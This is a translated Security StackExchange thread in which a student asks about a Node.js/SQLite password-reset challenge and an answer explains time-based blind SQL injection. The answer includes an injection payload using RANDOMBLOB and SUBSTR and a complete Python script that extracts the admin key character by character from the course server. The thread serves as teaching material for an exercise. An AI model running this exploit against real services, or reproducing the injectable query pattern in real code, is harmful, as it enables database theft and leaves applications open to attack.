我试图解决以下的“黑客”挑战,以获得经验的网页漏洞。
该服务是用node.js编程的,可作为http://lbs-course.askarov.net:3030访问:
app.post ("/reset/", function (req, res) {
var user = req.body.username;
if (!user) {
res.send("no username provided");
} else {
db.get (
"select * from users where username='" + user + "'",
function (err, row) {
// ...
if (row) {
// ... send email because we have a real response
}
res.send("password reset email has been queued");
})
}
})发送电子邮件的细节是不相关的,并且被注释掉了(就像在挑战中一样)。
数据存储在一个简单的SQLite 3数据库中。服务使用的用户表使用以下SQL查询创建:
CREATE TABLE users(username text, passwordhash text, key text)数据库中至少存在一个用户名为admin的用户。
为用户admin获取私钥。
我尝试过SQL注入,例如将user设置为' OR ''=',但是什么都没有发生.此外,我还读过有关MS支持EXECUTE()函数的文章,但在SQLite中找不到相应的内容。通过这样的函数,我原则上可以执行像nslookup这样的shell命令。
很明显,此服务唯一易受攻击的点是db.get()调用,而且由于发送电子邮件的细节与此无关,所以我必须让数据库为admin ( EXECUTE() call的原因)发送私钥。
在花了很多时间之后,我被困在了这个挑战中,所以我认为是时候向社区寻求帮助了。
发布于 2017-04-14 14:05:47
应用程序似乎对格式错误的SQL查询具有弹性,并且不会直接向用户输出错误信息。因此,如果应用程序不显式地输出存储的密钥,那么我们应该以其他方式检索它。
一种更微妙的SQL注入技术是定时SQL查询:为了获得存储在数据库中的内容的信息,我们将询问如果成功执行需要“很长”时间的查询,否则它们会终止“快速”。成功的定义取决于应用程序,但这通常意味着我们的查询返回结果。此外,“快速”和“长”执行时间是由应用程序参数化的。
现在,由于您知道数据库是一个SQLite数据库,所以我们应该寻找一个需要“很长”才能执行的函数。有些数据库对可用的SLEEP()有规范的选择,但SQLite不提供这种功能。相反,我们可以依赖RANDOMBLOB(),它生成随机位序列。
RANDOMBLOB()执行需要多长时间?好的,这应该由攻击者来衡量,由此产生的度量将(部分)决定“快速”和“长”执行时间的含义。实际上,使用SLEEP()函数会更准确,但是RANDOMBLOB()将满足我们的需要。
另一个在提取键时有用的函数是SUBSTR():我们逐字符提取键,“长”响应意味着成功,而“快速”响应意味着失败。
由于我们知道admin被保证在数据库中,所以我们为username发送了一个带有以下值的POST请求:
"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"查询字符串中的应用程序将替换此字符串以替代user:
"select * from users where username='" + user + "'"这是转产率:
"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"实际上,如果ch在pos位置匹配key,那么RANDOMBLOB()将被执行,响应将需要“很长”的时间到达。否则,反应就会“快”到。
提取秘密(PGP)密钥的Python脚本:
请注意,可能需要根据timeout的服务器负载和执行时间来调整RANDOMBLOB()参数。
import requests
import socket
import string
url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3
def main():
key = ""
for pos in range(1,key_len+1):
for ch in string.printable:
try:
if test_key_index(pos, ch):
print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
key = key + ch
break
except KeyboardInterrupt as e:
print("[INFO] Partial key obtained: {key}".format(key=key))
return
print("[INFO] Partial key obtained: {key}".format(key=key))
def test_key_index(pos, ch):
query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
#print(query)
post_fields = {'username': query} # POST fields
for _ in range(rounds):
try:
response = requests.post(url, data=post_fields, timeout=timeout)
return False
except requests.exceptions.Timeout as timeout_e:
pass
return True
if __name__ == '__main__':
main()希望这能有所帮助!
https://security.stackexchange.com/questions/155583
复制相似问题